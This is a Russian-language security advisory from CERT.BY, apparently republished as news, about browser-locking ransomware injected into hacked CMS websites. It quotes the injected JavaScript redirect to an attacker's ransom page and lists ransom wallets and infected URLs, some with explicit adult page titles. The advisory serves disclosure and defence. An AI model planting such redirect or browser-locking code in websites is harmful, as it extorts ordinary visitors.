Белорусам угрожают модернизированные «программы-вымогатели»

Национальным центром реагирования на компьютерные инциденты Республики Беларусь (CERT.BY) выявлено вредоносное воздействие.

Обнаруженная угроза является модернизированным типом известных «программ-вымогателей», сообщает CERT.BY.

Вредоносный код установлен на 33 сайтах (полный список вредоносных страниц в конце статьи) .

В рассматриваемых случаях установлено, что hxxp://esportlab.ru создан на CMS joomla, а hxxp://dvd-mult.com – DLE, что говорит о наиболее вероятном способе доступа к серверам через взлом CMS.

Указанные ресурсы подгружают JavaScript setTimeout( ‘location=»hxxp://blinkjail.ddns.net/jail/law.php?param=B391252109546&pay=950 000″;’, 100 ); со ссылкой вида hxxp://blinkjail.ddns.net/jail/law.php?param=XXX&pay=YYY%20000 (XXX, YYY — генерируются при посещении, XXX — кошелек, выявленный список в конце статьи, YYY%20000 — браузер преобразует в YYY 000 — сумма белорусских рублей, которую надо заплатить), который на компьютерах пользователей выполняет функции блокировки браузера посредством кода на базе функции onbeforeunload.

Выявленный тип угрозы отражает новую тенденцию в деятельности злоумышленников. В данном случае вместо взлома отдельных пользователей используют скомпрометированные серверы. Указанный вредоносный JavaScript был подгружен более 25 тыс раз в течении одного часа белорусскими пользователями.

За возврат к исходному состоянию системы требуется внесение выкупа: для белорусских пользователей предлагается переводить деньги на web-кошелек, а для российских – отправить короткое sms.

Наиболее представленные кошельки WMB

B115758526210,B117114378621,B143826205926,B172443126735,B184950148694,
B185181031711,B194485790256,B206727823088,B220025214942,B256138478154,
B278797566926,B294923808452,B301169547428,B319752165572,B320971945439,
B348285457941,B356664225462,B359955795564,B385076247351,B395025362077,
B412161763216,B415234619399,B422952876456,B427514815758,B497052549911,
B601549114956,B656271482770,B693258973158,B746528496298

Список зараженных страниц

hxxp://2mult.ru/video/multfilmi-2013/timon-i-pumba-6-sezon-5-serija-1.html
hxxp://2mult.ru/video/multseriali/monstri-na-kanikulah.html
hxxp://2mult.ru/video/multseriali/monstri-na-kanikulah-otel-transilvanija-hotel-transylvania-2012.html
hxxp://avtotex-inform.ru/ekspluataciya/597-spisanie-selskoxozyajstvennoj-texniki.html
hxxp://download-design.ru/65662-igumen-valeriy-larichev-novyy-zavet-apostol-audiokniga-2008.html
hxxp://dvd-mult.com/
hxxp://dvd-mult.com/serialru/mashaimedved/
hxxp://esportlab.ru/
hxxp://farnsford.com/kompjutery-internet/74-kak-zaregistrirovat-neskolko-akkauntov-vkontakte-na-odin-nomer.html
hxxp://gamebest.org/index.php?do=tags&tag=%e2%e7%eb%ee%ec%f9%e8%ea+%e8%e3%f0+%e0%eb%e0%e2%e0%f0
hxxp://gamebest.org/soft/365-nakrutka-serdechek-podpischikov-vkontakte-skachat-programmu-besplatno.html
hxxp://gamebest.org/tags/%E2%E7%EB%EE%EC+%E8%E3%F0+%E0%EB%E0%E2%E0%F0
hxxp://gamebest.org/tags/%F1%EA%E0%F7%E0%F2%FC+%E1%E5%F1%EF%EB%E0%F2%ED%EE+%EF%EE%F1%EB%E5%E4%ED%E8%E9+google+chrome/
hxxp://gashnokia.ru/program-nokia/page/3/
hxxp://hiromantsekreti.ru/50-znachenie-otpechatkov-palcev.html
hxxp://ibbctv.ru/velikie-voiny/989-velikie-voiny-kortes.html
hxxp://indfilm.ru/video/indijskie-filmi/vlublennie-mohabbatein-film-v-roljah-shakruk-khan.html
hxxp://infffacts.ru/kino/103-eroticheskiy-film-seksualnye-spletni.html
hxxp://infffacts.ru/kino/397-porno-film-devushka-bez-trusikov.html
hxxp://mc2websites.com/iskusstvo/34185-neobychnye-skulptury-iz-setki-napominayushhie-privideniya.html
hxxp://mc2websites.com/predmety/33808-dizajnerskoe-reshenie-dlya-kofe-i-pechenki.html
hxxp://mp4filmi.ru/mp4-cartoon/299-masha-i-medved.html
hxxp://nailartfoto.ru/127-sine-zelenyy-dizayn-nogtey.html
hxxp://nailartfoto.ru/155-dizayn-naroschennyh-nogtey-foto.html
hxxp://novinkihitech.ru/porno-incest-zapreshhennoe/
hxxp://novinkihitech.ru/zasvety-polovyx-gub-mam/
hxxp://online-sexa.net/
hxxp://online-sexa.net/hentai/840-anime-porno-s-monstrami.html
hxxp://papadroid.com/logicheskie/1622-bubble-mania-dlja-android-razrabotaj-pravilnuju.html
hxxp://papadroid.com/obschenie/1286-sonar-dlja-android-najdi-druzej-na-karte.html
hxxp://pornobest.net/
hxxp://pornomount.net/russian-girls/8676-goryachie-schelochki-molodoy-mamochki-vozbudili-syna.html
hxxp://qbko.ru/flash_game/prikolny_igry/1620-Mozga_Stanok_mozga_.html
hxxp://samistroim.info/60-varianty-ploskoy-kryshi.html
hxxp://smartmusic.tj/view/104467
hxxp://softxxl.ru/
hxxp://theallost.net/ost_film/2903-saundtrek-vrozhdennyy-porok.html
hxxp://webmastertube.net/e-books/40767-daniel-power-airbrush-power-series-level-1.html
hxxp://webmastertube.net/e-books/4167-english-time-3-student-book-storybook-workbook-tea.html
hxxp://www.planetaweb.com.ua/grafics/rastr/9682-fotoklipart-devushki-i-cvety.html
hxxp://www.povarennaykniga.ru/
hxxp://www.qbko.ru/game_for_mobile/arkady_for_mobile/8201-.html
hxxp://www.uslugitovary.ru/
hxxp://www.vyazkasobak.ru/beremennost/22-beremennost.html
hxxp://www.vyazkasobak.ru/kogda-vyazat-sobak
hxxp://zootops.ru/
hxxp://zootops.ru/ekzotikzoo/